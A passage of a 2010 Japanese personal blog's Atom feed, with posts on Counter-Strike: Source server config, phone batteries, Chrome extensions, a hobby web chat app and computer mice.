DMのリスポーンポイントだけど、「cstrike\cfg\cssdm\cssdm.cfg」の「cssdm_spawn_method」を「preset」から「none」にするとランダムリスポーンじゃなくなるよ。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;これで無事できました。&lt;/p&gt; &lt;p&gt;後はCTだけに参加させて必死に解除食い止めるゲームとか、Tだけに参加させて必死に設置するゲームとかして遊べばいいんじゃないかなぁ？&lt;/p&gt; &lt;p&gt;Tだけに配置して人質救出ミッションやると結構難しい。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;では、Have a nice css life!&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-3202734794377811776?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/3202734794377811776/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=3202734794377811776&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/3202734794377811776'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/3202734794377811776'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2010/10/cssavaprison-breakl4d.html' title='CS:SでAVAのPrison BreakとかL4Dに近いことをしてみる。'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-3107923768656098903</id><published>2010-10-03T14:00:00.001+09:00</published><updated>2010-10-03T22:58:41.616+09:00</updated><title type='text'>T-01Bの大容量バッテリーの連続待ち受け時間</title><content type='html'>&lt;p&gt;3900mAhのを注文したのは良いんですが、在庫切れで入荷予定未定で予約という状態になり一週間たった今でも届いていない。&lt;/p&gt; &lt;p&gt;それ以前に上の通知以後連絡さえ着ていない。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;さて、かなり昔に &lt;a href="http://sh4rps1ght.spaces.live.com/blog/cns!28B145D1A9833FCA!484.entry"&gt;http://sh4rps1ght.spaces.live.com/blog/cns!28B145D1A9833FCA!484.entry&lt;/a&gt; こんな記事を書いていたようだ。&lt;/p&gt; &lt;p&gt;T-01Bは初期バッテリーでSkype常駐＋Operaでブラウジング等の作業をする場合2時間持たないときがある。&lt;/p&gt; &lt;p&gt;T-01AとBで1時間の待ち受け時間の差があることから容量は約4倍なので1*4時間程度の差ができそう。&lt;/p&gt; &lt;p&gt;16時間以上20時間以下ぐらいかな？&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;まぁこんな単純計算で算出できないのが待ち受け時間である。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;そしてこの大容量バッテリーのカバーの開きスペース・・・。&lt;/p&gt; &lt;p&gt;魔改造ぐふふふふ^q^&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-3107923768656098903?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/3107923768656098903/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=3107923768656098903&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/3107923768656098903'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/3107923768656098903'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2010/10/t-01b.html' title='T-01Bの大容量バッテリーの連続待ち受け時間'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-6233918017430742285</id><published>2010-09-26T17:02:00.001+09:00</published><updated>2010-09-26T17:29:30.007+09:00</updated><title type='text'>Google Chrome extentions (addons)　の紹介</title><content type='html'>&lt;p&gt;&lt;a href="http://code.google.com/p/minimizetotray/"&gt;Minimize to tray&lt;/a&gt;&lt;br&gt;最小化時にタスクトレイに常駐させるアドオン&lt;/p&gt; &lt;p&gt;&lt;a href="https://chrome.google.com/extensions/detail/hehijbfgiekmjfkfjpbkbammjbdenadd"&gt;IE Tab&lt;/a&gt;&lt;br&gt;IE専用ページを表示するためのアドオン&lt;/p&gt; &lt;p&gt;&lt;a href="https://chrome.google.com/extensions/detail/encaiiljifbdbjlphpgpiimidegddhic?hl=ja"&gt;Chromed Bird&lt;/a&gt;&lt;br&gt;Twitterクライアント&lt;/p&gt; &lt;p&gt;&lt;a href="https://chrome.google.com/extensions/detail/kfpojdbmiglkifajdcfklejbhiphfgmp"&gt;Google Bookmarks&lt;/a&gt;&lt;br&gt;Google Bookmarksにブックマークを追加するアドオン&lt;/p&gt; &lt;p&gt;&lt;a href="https://chrome.google.com/extensions/detail/apflmjolhbonpkbkooiamcnenbmbjcbf"&gt;Google Reader Notifier (by Google)&lt;/a&gt;&lt;br&gt;Google Readerに登録されているRSSを表示するアドオン&lt;/p&gt; &lt;p&gt;&lt;a href="https://chrome.google.com/extensions/detail/nlbjncdgjeocebhnmkbbbdekmmmcbfjd"&gt;RSS Subscription Extension（by Google）&lt;/a&gt;&lt;br&gt;RSSを配信しているページからGoogle Readerに登録するアドオン&lt;/p&gt; &lt;p&gt;&lt;a href="https://chrome.google.com/extensions/detail/igiofjhpmpihnifddepnpngfjhkfenbp"&gt;AutoPagerize&lt;/a&gt;&lt;br&gt;次のページを自動読み込むアドオン&lt;/p&gt; &lt;p&gt;&lt;a href="https://chrome.google.com/extensions/detail/okmlpemfjpklknpajkaapehdglgbkgin"&gt;Drag N Go&lt;/a&gt;&lt;br&gt;選択されたテキストの検索結果を新しいタブに表示&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;Minimize to trayを入れておけば、新着ツイートがあったときにデスクトップ通知を表示するChromed Birdだけの機能を利用できます。&lt;/p&gt; &lt;p&gt;Google Reader Notifierにデスクトップ通知機能があるといいんだけどなぁ。&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-6233918017430742285?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/6233918017430742285/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=6233918017430742285&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/6233918017430742285'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/6233918017430742285'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2010/09/google-chrome-extentions-addons.html' title='Google Chrome extentions (addons)　の紹介'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-8573315516577418492</id><published>2010-09-24T18:17:00.001+09:00</published><updated>2010-09-26T02:18:06.668+09:00</updated><title type='text'>T-01B、IS02の大容量バッテリーが発売されました。</title><content type='html'>&lt;p&gt;T-01Bの発売から3ヶ月、諦めていたところ突然出てきましたよ。そして衝動買い。&lt;/p&gt; &lt;p&gt;&lt;a href="http://www.msjp.com/shop/index.php/battery/docomot-01b_battery/"&gt;http://www.msjp.com/shop/index.php/battery/docomot-01b_battery/&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;a href="http://www.msjp.com/shop/index.php/battery/docomot-01b_battery02/"&gt;http://www.msjp.com/shop/index.php/battery/docomot-01b_battery02/&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;a href="http://lh5.ggpht.com/_toMCQOU2NRI/TJxsko_yRfI/AAAAAAAAAHo/wj_hkl9DVAk/s1600-h/92e7f813eea93298f2e39eb58e4090ac%5B6%5D.jpg"&gt;&lt;img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="92e7f813eea93298f2e39eb58e4090ac" border="0" alt="92e7f813eea93298f2e39eb58e4090ac" src="http://lh3.ggpht.com/_toMCQOU2NRI/TJxslHb2OZI/AAAAAAAAAHs/bOfZqfP0Q1U/92e7f813eea93298f2e39eb58e4090ac_thumb%5B2%5D.jpg?imgmax=800" width="554" height="378"&gt;&lt;/a&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;容量は3900mAh。&lt;/p&gt; &lt;p&gt;標準のカバーを使うものでは1300mAhが出ていますが、これはT-01Aの1300mAhでも同じように使えます。（外れなくなることもある？）&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;これでSkypeを常駐させることができる。&lt;/p&gt; &lt;p&gt;そして心置きなくウェブページを閲覧できる！&lt;/p&gt; &lt;p&gt;あとはT-01BがAndroid化できるまで待つだけかな。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;また上記の状態での連続待ち受け時間などをレポートします。 &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;そのころにはもっと使いやすいAndroid端末でてそうだけど。&lt;/p&gt; &lt;p&gt;まぁこれ以上ケータイに金かけるのも気が引けるしなぁ’A`&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;この端末に対する不満&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;たまにスリープ状態から復活できなくなる。（真っ黒画面でスライドして戻し電源ボタンを押せば直る。）&lt;/p&gt; &lt;p&gt;たまにスタートボタンが押しっぱなしにされる。&lt;/p&gt; &lt;p&gt;Windows Mobile 6.5.3になりタスクバーの縮小。（Windowsの特徴とも言えるUIを実現するwktaskが使いにくくなった。）&lt;/p&gt; &lt;p&gt;Windows Mobileのような細かいポインティングを必要とするOSで静電容量方式のタッチパネルであること。&lt;/p&gt; &lt;p&gt;有機ELタッチパネルであること。（屋外じゃディスプレイ見にくい。）&lt;/p&gt;&lt;/blockquote&gt; &lt;blockquote&gt;&lt;/blockquote&gt; &lt;blockquote&gt; &lt;p&gt;キーボードの配置&lt;br&gt;（よく使うキー「ー」がFnと同時押し。DelとBS両方同時に使うことはないからひとつのキーにまとめてくれ。 タスクボタンは不要。）&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;こんな無駄な事しなくても言葉通りT-01AにQWERTYキーボードつけるだけでよかったのに。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;いろいろな人が「タッチディスプレイがタッチに反応しない」と言っていますが、自分は運がいいのかそのようなことはありません。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;とりあえず省電力設定で「エコモード」をはずし「CPU処理速度」を中以上に設定しましょう。&lt;/p&gt; &lt;p&gt;あとポケットの手でアクティブタスクを優先的に処理するように設定しましょう。&lt;/p&gt; &lt;p&gt;スクロールバーを太くしましょう。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;SPモードどうなんだろ。Windows Live Mailで無難にメールしてた方がいいのかな・・・？&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-8573315516577418492?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/8573315516577418492/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=8573315516577418492&amp;isPopup=true' title='2 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/8573315516577418492'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/8573315516577418492'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2010/09/t-01b.html' title='T-01B、IS02の大容量バッテリーが発売されました。'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh3.ggpht.com/_toMCQOU2NRI/TJxslHb2OZI/AAAAAAAAAHs/bOfZqfP0Q1U/s72-c/92e7f813eea93298f2e39eb58e4090ac_thumb%5B2%5D.jpg?imgmax=800' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-43803207847702430</id><published>2010-09-19T01:13:00.001+09:00</published><updated>2010-09-27T16:20:21.304+09:00</updated><title type='text'>このiPhoneなら買いたくなるな。</title><content type='html'>&lt;p&gt;&lt;a href="http://lh4.ggpht.com/_toMCQOU2NRI/TJ2lkqOUauI/AAAAAAAAAH0/GcklNVq5xEY/s1600-h/iphone4keyboard%5B1%5D.jpg"&gt;&lt;img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="iphone4keyboardのコピー" border="0" alt="iphone4keyboardのコピー" src="http://lh3.ggpht.com/_toMCQOU2NRI/TJTmdECiEzI/AAAAAAAAAH4/LQo3cCxecYY/iphone4keyboard_thumb.jpg?imgmax=800" width="554" height="435"&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;こういう商品がでたらもうDocomo捨ててでもiPhoneに乗り換えるかな。&lt;/p&gt; &lt;p&gt;キーボード部分には単三電池二本を外部バッテリーとしてセットできるとか、充電バッテリー内蔵だったりしたらいいね。&lt;/p&gt; &lt;p&gt;ついでに充電する時の変な差込口からUSBに変換してくれるのもついてるとベストかな。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;さて、ないなら作っちゃえばいいって言う方向でこれをコンセプトモデルに作ってみようかな。&lt;/p&gt; &lt;p&gt;&lt;a href="http://www.vshopu.com/item/2107-1204/index.html"&gt;http://www.vshopu.com/item/2107-1204/index.html&lt;/a&gt;&lt;/p&gt; &lt;p&gt;この超小型Bluetoothキーボードを購入して改造を加えればできそうかも。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;2010/09/24　追記&lt;/p&gt; &lt;p&gt;2ch docomo dynapocket T-01B part6 &lt;/p&gt; &lt;p&gt;&amp;gt;&amp;gt;794 より &lt;a href="http://www.thinkgeek.com/gadgets/cellphone/e66e/"&gt;http://www.thinkgeek.com/gadgets/cellphone/e66e/&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&amp;gt;&amp;gt;803 より &lt;a href="http://ipodtouchlab.com/2010/09/nuu-mini-keyboard-bluetooth-iphone4.html"&gt;http://ipodtouchlab.com/2010/09/nuu-mini-keyboard-bluetooth-iphone4.html&lt;/a&gt;&lt;/p&gt; &lt;p&gt;こんなものがあったとは・・・ｗ&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;とりあえずキーボードとモック買ってしまったから作るお！&lt;/p&gt; &lt;p&gt;完成がグロそうだ。&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-43803207847702430?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/43803207847702430/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=43803207847702430&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/43803207847702430'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/43803207847702430'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2010/09/iphone.html' title='このiPhoneなら買いたくなるな。'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh3.ggpht.com/_toMCQOU2NRI/TJTmdECiEzI/AAAAAAAAAH4/LQo3cCxecYY/s72-c/iphone4keyboard_thumb.jpg?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-5138509039087475654</id><published>2010-09-05T18:59:00.001+09:00</published><updated>2010-09-12T07:34:48.696+09:00</updated><title type='text'>崩壊したチャットのロビー修復完了</title><content type='html'>&lt;p&gt;&lt;a href="http://axe1lyze.dip.jp/chat.php"&gt;http://axe1lyze.dip.jp/chat.php&lt;/a&gt;&lt;/p&gt; &lt;p&gt;ニコニコ動画への対応は、ニコニコ動画の外部プレイヤーがバックグラウンドでの再生ができなさそうなので後回し。&lt;/p&gt; &lt;p&gt;とりあえずファイル転送機能と、部屋から誰もいなくなったときに自動的に部屋を削除するようにしないとね。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;あとなんか思いつく面白い機能は・・・&lt;/p&gt; &lt;p&gt;・プレイリスト作成機能&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;動画を変更するのではなくプレイリストに追加という形式に。スキップ機能もついでにつけないとね・&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;・保存機能&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;再生している動画をファイルに保存する機能&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;とりあえず意見募集ってことで。&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-5138509039087475654?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/5138509039087475654/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=5138509039087475654&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/5138509039087475654'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/5138509039087475654'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2010/09/blog-post.html' title='崩壊したチャットのロビー修復完了'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-7845708122177009261</id><published>2010-08-31T23:48:00.001+09:00</published><updated>2010-08-31T23:49:58.772+09:00</updated><title type='text'>プログラミング＞＞＞越えられない壁＞＞＞ゲーム</title><content type='html'>&lt;p&gt;結局のところ、チャットやらゲームやらを作って自分で使って自己満足で終わってしまうんですがねｗ&lt;/p&gt; &lt;p&gt;チャットを高機能化することに集中しすぎてHPが完成していない。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;現在すべてにおいて中途半端。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;チャットは仲間内でつかってみたところそれなりに使えるようなので、もうちょっと進歩させるかな。&lt;/p&gt; &lt;p&gt;ニコニコに対応させたり、ちゃんとファイル転送機能を実装したり。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;ニコニコ動画のJavaScriptのAPIの解説に適当に目を通せば簡単に対応させられそう。&lt;/p&gt; &lt;p&gt;ファイル転送のほうが難しい・・・かな？&lt;/p&gt; &lt;p&gt;まぁサーバーにファイルを一時保存だから別に難しいわけがないんだけども。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;#1 あと、ポストされたデータをファイル名としてファイルを生成するPHPファイルに、JavaScriptのCookieをjQueryでPostするとUnicodeらしきエンコードされるんだけどデコードできない。&lt;/p&gt; &lt;p&gt;↑文章長かったな・・・。&lt;/p&gt; &lt;p&gt;何が言いたいのかってのは、要するにチャットに入室するときに毎回名前を入力しないといけないってことだ。&lt;/p&gt; &lt;p&gt;これが改善できればもうちょっと進歩するだろうなー。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;#1の内容が理解できた！理解できそう！まったく理解できない！初心者の方、ぜひコンタクトを。&lt;/p&gt; &lt;p&gt;一緒に勉強しませんか？&lt;/p&gt; &lt;p&gt;一人でやってるのも寂しいんで。（笑&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-7845708122177009261?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/7845708122177009261/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=7845708122177009261&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/7845708122177009261'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/7845708122177009261'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2010/08/blog-post_31.html' title='プログラミング＞＞＞越えられない壁＞＞＞ゲーム'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-7507713256769154799</id><published>2010-08-29T23:30:00.001+09:00</published><updated>2010-08-30T17:11:47.024+09:00</updated><title type='text'>チャットが一段落？まだオープンベータって事で！</title><content type='html'>&lt;p&gt;iQueryとConcurrentThread。&lt;/p&gt; &lt;p&gt;やばいほど便利ですね。もう何でもできそうな気がしてきます。（笑）&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;ということでチャットを今日から作って1日でまともに使えるまでに至りました。&lt;/p&gt; &lt;p&gt;まだ試運転なのでいろいろ不安定だし、実装されていないけどボタンだけ配置しちゃってるなんてこともあります。&lt;/p&gt; &lt;p&gt;&lt;a href="http://axe1lyze.dip.jp/hp/contents/chat/room1/index.php"&gt;http://axe1lyze.dip.jp/hp/contents/chat/room1/index.php&lt;/a&gt;&lt;/p&gt; &lt;p&gt;推奨スペック&lt;br&gt;CPU : Core2DuoE8400以上&lt;br&gt;メモリ : DDR2 2GByte以上&lt;br&gt;回線 : FTTH&lt;br&gt;&lt;font color="red"&gt;ブラウザ : Google Chrome(Only)&lt;/font&gt;&lt;/p&gt; &lt;p&gt;回線についてはアバウトです。Youtubeがすぐに再生できるぐらいなら大丈夫でしょう。&lt;/p&gt; &lt;p&gt;&lt;/p&gt; &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:5737277B-5D6D-4f48-ABFC-DD9C333F4C5D:d30411c9-1e01-4409-873f-ef937fbea34b" class="wlWriterEditableSmartContent"&gt;&lt;div&gt;&lt;object width="585" height="439"&gt;&lt;param name="movie" value="http://www.youtube.com/v/JtLNQkHdaaE&amp;amp;hl=en"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/JtLNQkHdaaE&amp;amp;hl=en" type="application/x-shockwave-flash" width="585" height="439"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;サーバーPCで録画。重過ぎて動作に支障がでてる。&lt;/p&gt; &lt;p&gt;早くメインPCを直さないとなぁ。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;今後の予定&lt;/p&gt; &lt;p&gt;ファイル転送機能の完成&lt;/p&gt; &lt;p&gt;参加者表示機能の実装&lt;/p&gt; &lt;p&gt;ニコニコ動画にも対応&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;Google Chrome専用です。ほかのブラウザではチェックさえしていません。&lt;/p&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;え、Google Chromeがよすぎてほかのものには（ｒｙ&lt;/p&gt; &lt;p&gt;なんでチャットなのにこんなスペックを要求するんだ？って質問は無しの方向で。&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-7507713256769154799?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/7507713256769154799/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=7507713256769154799&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/7507713256769154799'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/7507713256769154799'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2010/08/blog-post_29.html' title='チャットが一段落？まだオープンベータって事で！'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-3312939079393713170</id><published>2010-08-27T12:11:00.001+09:00</published><updated>2010-08-28T18:59:45.564+09:00</updated><title type='text'>やっぱLogicool製品！（信者？）</title><content type='html'>&lt;p&gt;と言いつつもスピーカーはCREATIVEなんですけどね。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;そろそろマウスがほしい時期です。&lt;/p&gt; &lt;p&gt;そしてそのタイミングでG700が出ましたね。↓こんなの&lt;/p&gt; &lt;p&gt;&lt;a href="http://lh5.ggpht.com/_toMCQOU2NRI/THcs5R_AArI/AAAAAAAAAHA/oMNAGEokAyo/s1600-h/002%20%281%29%5B5%5D.jpg"&gt;&lt;img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="002 (1)" border="0" alt="002 (1)" src="http://lh4.ggpht.com/_toMCQOU2NRI/THcs59l1IUI/AAAAAAAAAHE/Dv8AO0vLx8w/002%20%281%29_thumb%5B3%5D.jpg?imgmax=800" width="294" height="222"&gt;&lt;/a&gt;&lt;a href="http://lh4.ggpht.com/_toMCQOU2NRI/THcs6ZM_1aI/AAAAAAAAAHI/UVYMVdxv7CE/s1600-h/009%5B6%5D.jpg"&gt;&lt;img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="009" border="0" alt="009" src="http://lh3.ggpht.com/_toMCQOU2NRI/THcs623MwOI/AAAAAAAAAHM/yz6YiyGsf0U/009_thumb%5B2%5D.jpg?imgmax=800" width="294" height="222"&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;有線と無線の切り替えができる！っていってももうゲームほとんどしないから無線かな。&lt;/p&gt; &lt;p&gt;ボタンの数の量が魅力ですね！&lt;/p&gt; &lt;p&gt;価格は7000円。買おうかな。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; 